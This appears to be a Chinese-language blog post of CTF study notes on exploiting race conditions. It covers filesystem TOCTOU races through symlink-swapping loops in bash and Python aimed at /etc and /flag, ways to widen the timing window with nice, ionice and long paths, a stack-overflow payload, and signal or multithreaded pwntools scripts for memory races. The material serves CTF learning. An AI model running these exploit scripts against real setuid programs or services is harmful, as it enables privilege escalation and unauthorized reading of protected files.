race conditions利用技巧

2024-12-23

PS:看思路只要看第0章即可,第1、2章会做题时实际思考,然而做题的方法并不能证明有效,说不定就是单纯地运气好
话又说回来,感觉race condition真的是有一点玄学在的,感觉就纯靠经验,无法验证思路是否在所有场景下都可行

0. 写在前面

0.1 race condition利用的核心思路

上图可以精确反映出race condition的核心利用思路:在正确的时间点做正确的事情,即合拍
注意,利用race condition并不是越快越好,下图的例子告诉我们,即使程序足够快,也容易导致利用不成功!

但是有人会说,你还不够快,我们需要更快!如下图所示:
可以看到,即使速度更快,在Value Check阶段如果没能将值设为true,在Value Use阶段没有将值设为false,再快都没用。

0.2 可能会帮助race condition成功的办法

为什么说是可能会帮助呢?主要原因是如下方法都不能百分百提高成功率,总之还是要让你试一下

0.2.1 sleep a bit

如下图所示:
利用代码如果在开头睡眠一小会,有可能会成功。

0.2.2 多进程:每个进程执行各自的部分

这种方法实际会导致状态的改变:

注意: python thread并不是parallel的,所以利用race condition最好还是用fork

0.3 c、bash、python的执行速度

直接说结论:
只运行一次程序时,C > bash > python

1、C 速度最快,直接调用系统调用
2、bash次之,因为要创建进程执行命令
3、python最慢,因为需要解释语言,并翻译可执行代码 

运行多次程序(比如1000次),c > python > bash

1、C 还是最快
2、python只需要解释一次,之后就可以很快运行
3、bash每执行一次就需要创建一个进程,反而拖慢了速度

0.4 理想的python race condition利用代码编写方式

有题目可以练练手:
题目附件

1. races in filesystem

1.1 通用解

通常情况下,想要利用race condition通常都要开启两个terminal,然后运行如下命令:

terminal A:
while true; do echo a> 1;echo -n $(printf 'a%.0s' {1..260}) >1; done

# 若想通过race condition触发栈溢出,可以使用下面的写法:事实证明echo -ne比printf快且好使!
# while true; do echo a>1;echo -ne "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xd6\x12@\x00\x00\x00\x00\x00" > 1; done


terminal B:
for i in $(seq 1 2000); do /path/to/your/target 1; done | tee output
sort output | uniq -c 

通常都能利用成功

1.2 多进程运行

虽然通常情况下race condition只要开启两个terminal就可以了,但是实际上我们可以开启多个terminal:

terminal A:
while true;do for i in $(seq 1 2000);do /path/to/your/target aa/etc/1;done | grep flag; done

terminal B:
while true;do for i in $(seq 1 2000);do /path/to/your/target aa/etc/1;done | grep flag; done

terminal C:
while true;do for i in $(seq 1 2000);do /path/to/your/target aa/etc/1;done | grep flag; done

terminal D:
while true;do for i in $(seq 1 2000);do /path/to/your/target aa/etc/1;done | grep flag; done

terminal E:
while true; do xxx ; done

1.3 降低目标执行速度

注意,正如上面提到的,这种方法并不总是有效

1.3.1 nice

nice命令和nice system call允许用户设置进程在linux kernel调度器中的优先级。
linux kernel scheduler的优先级从高到低 为-20~19,优先级越高的进程,能够获得cpu资源的比例就越高
ionice的用法和nice差不多,只不过它设置的是进程的io调度优先级,优先级从高到低是0~7,
这种方法的思路就是通过降低进程在系统中被执行的优先级,从而提高空窗期

用法如下:

1. 启动一个terminal, 运行 while /bin/true; do cp -v catflag asdf; done
2. 再启动一个terminal,运行 for i in $(seq 1 2000); do nice -n 19 ./fs2 asdf; done | tee output
   运行sort output | uniq -c

可以看到,概率还是命中次数差不多提升了一倍。
ionice也有差不多的效果

for i in $(seq 1 2000); do ionice -n 7 ./fs2 asdf; done | tee output
sort output | uniq -c

两者结合,使用效果更佳:

for i in $(seq 1 2000); do nice -n 19 ionice -n 7 ./fs2 asdf; done | tee output
sort output | uniq -c

1.3.2 Path Complexity

filesystem race涉及到文件系统访问,但是 不是所有的文件系统访问都是想等的

cat my_file 比
cat a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/x/y/z/my_file
快得多!
因为内核需要花时间进入这些目录!

这给了我们一个灵感:即可以传超级长路径来降低程序访问文件的速度,从而提高空窗期(需要注意,linux的路径限制最长为4096字节)
另外,我们还可以通过符号链接来延长路径

for i in $(seq 1 2000); do ./fs2 a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/s/y/z/link/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/s/y/z/link/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/s/y/z/link/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/s/y/z/link/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/s/y/z/link/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/s/y/z/link/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/s/y/z/link/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/s/y/z/link/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/s/y/z/link/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/s/y/z/link/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/s/y/z/link/asdf ; done | tee output
sort output | uniq -c

随着路径变长,成功的概率还能提高!
这种race condition也导致了TOCTOU(Time of check to Time of use)问题

1.4 复杂场景下races in filesystem的利用

1.4.1 符号链接race

1、判断文件/目录 是否是符号链接(lstat 不解析符号链接),不是符号链接,进入下一步
2、检查文件/目录所在的上级目录(stat)是否被root持有,被root持有,进入下一步
3、检查文件/目录所在的上级目录(stat)是否被root group持有,被root group持有,进入下一步
4、检查其他用户能否写该上级目录,如果不能,进入下一步

lstat和stat的区别在于,lstat遇到符号链接会解析其本身,而stat会解析到符号链接指向的文件!
race思路:

-------------创建文件/home/wsxk/a/1,是正常文件
1、判断文件/目录 是否是符号链接(lstat 不解析符号链接),不是符号链接,进入下一步
-------------改变文件/home/wsxk/a的文件类型,使其为符号链接,指向/etc
2、检查文件/目录所在的上级目录(stat)是否被root持有,被root持有,进入下一步
3、检查文件/目录所在的上级目录(stat)是否被root group持有,被root group持有,进入下一步
4、检查其他用户能否写该上级目录,如果不能,进入下一步
-------------改变文件/home/wsxk/a的文件类型,为正常目录;改变/home/wsxk/a/1的文件类型为符号链接,指向/flag

如果race的check条件有很多条,我们只需要单独满足那些条件中每一个即可,即如果有4个check,我们只需要改变4次状态,每次我们只考虑满足一个约束
实际编写脚本时,是这样写的:

while true; do rm -rf aa &&mkdir -p aa && echo "1" > aa/1;rm -rf aa && ln -s /etc aa;rm aa && mkdir -p aa && ln -s /flag aa/1; done

但是用shell脚本执行太慢了,用python会更快一点:

import os
import shutil
import time

while True:
    # Step 1: rm -rf aa && mkdir -p aa && touch aa/1
    shutil.rmtree('aa')  # 递归删除目录 aa
    os.makedirs('aa', exist_ok=True)  # 创建目录 aa
    with open('aa/1', 'w') as f:  # 创建文件 aa/1
        f.write('')  # 空文件,可以写入内容

    # Step 2: rm -rf aa && ln -s /etc aa
    shutil.rmtree('aa')  # 递归删除目录 aa
    os.symlink('/etc', 'aa')  # 创建符号链接 aa -> /etc

    # Step 3: rm aa && mkdir -p aa && ln -s /flag aa/1
    os.remove('aa')  # 删除符号连接 aa
    os.makedirs('aa', exist_ok=True)  # 创建目录 aa
    os.symlink('/flag', 'aa/1')  # 创建符号链接 aa/1 -> /flag

1.4.2 变种

1、判断文件/目录 是否是符号链接(lstat 不解析符号链接),不是符号链接,进入下一步
2、检查文件/目录所在的上级目录(lstat)是否被root持有,被root持有,进入下一步
3、检查文件/目录所在的上级目录(lstat)是否被root group持有,被root group持有,进入下一步
4、检查其他用户能否写该上级目录,如果不能,进入下一步

首先需要明白,在linux中,stat和lstat都是查询文件的状态(目录是特殊的文件),虽然lstat解析符号文件本身,但是在处理路径中,是会处理符号链接的,比如lstat(“aa/bb/cc/dd”),其中cc是符号链接,指向”/”,实际上会执行的是lstat(“/dd”)
根据这个特性,思路就很清晰了:

-------------创建文件/home/wsxk/a/etc/1,是正常文件
1、判断文件/目录 是否是符号链接(lstat 不解析符号链接),不是符号链接,进入下一步
-------------改变文件/home/wsxk/a的文件类型,使其为符号链接,指向/
2、检查文件/目录所在的上级目录(lstat)是否被root持有,被root持有,进入下一步
3、检查文件/目录所在的上级目录(lstat)是否被root group持有,被root group持有,进入下一步
4、检查其他用户能否写该上级目录,如果不能,进入下一步
-------------改变文件/home/wsxk/a的文件类型,为正常目录;改变/home/wsxk/a/etc/1的文件类型为符号链接,指向/flag

脚本如下:

import os
import shutil
import time

while True:
    # Step 1: rm -rf aa && mkdir -p aa/etc && touch aa/etc/1
    shutil.rmtree('aa')
    os.makedirs('aa/etc', exist_ok=True)
    with open('aa/etc/1', 'w') as f:  
        f.write('')

    # Step 2: rm -rf aa && ln -s / aa
    shutil.rmtree('aa') 
    os.symlink('/', 'aa')

    # Step 3: rm aa && mkdir -p aa/etc && ln -s /flag aa/etc/1
    os.remove('aa')  
    os.makedirs('aa/etc', exist_ok=True)
    os.symlink('/flag', 'aa/etc/1')

这里需要配合多进程来提高成功概率

2. races in memory

2.1 利用signals

races in memory成功利用通常需要依靠signals来辅助利用
举例来说,有一个程序注册了一个signal handler

这是一个时间到了就退出的处理函数
而用户也可以手动退出

这就导致了一个问题:如果在privilege_level校验通过且还没执行到–privilege_level时,触发signal handler,那么privilege_level会被设置为0,–privilege_level会导致整数溢出,使privilege_level变成一个超大值
理想很丰满,现实很骨感,我们虽然理论上知道了方法,但是实际上,我们应该如何实操,来达成攻击呢?
发送signal还是遵循多进程的思路,但是用pwntools创建一个进程后,调用fork容易导致接口损坏,这里建议是开2个terminal,一个跑程序,一个跑信号发送程序

# 发送信号
from time import *
import random
import os

pid = 731719
while True:
    os.kill(pid,14)
    sleep_time = random.randint(0,10000)/1000000
    print(sleep_time)
    sleep(sleep_time)

# 创建进程测试
from pwn import *
from time import *
from os import fork 
import signal
import time

context.log_level = 'debug'
p = process("./babyrace_level7.1")
pause()
for _ in range(10000):
    p.sendline(b"login")
    p.sendline(b"logout")
    p.sendline(b"win_authed")
    out = p.recv()
    if b"flag" in out:
        print(out)
        break

2.2 利用多线程

当一个程序允许多线程访问时,可以通过多线程竞争同一个全局变量而导致条件竞争!

# 同时开启2个terminal,运行该脚本
from pwn import *
import random

p = remote('127.0.0.1',1337)
pause()
while True:
    sleep_time = random.randint(0,10000)/1000000
    print(sleep_time)
    sleep(sleep_time)

    p.sendline(b"login")
    p.sendline(b"logout")
    p.sendline(b"win_authed")
    out = p.recv()
    if b"flag" in out:
        print(out)
        break
    
p.interactive()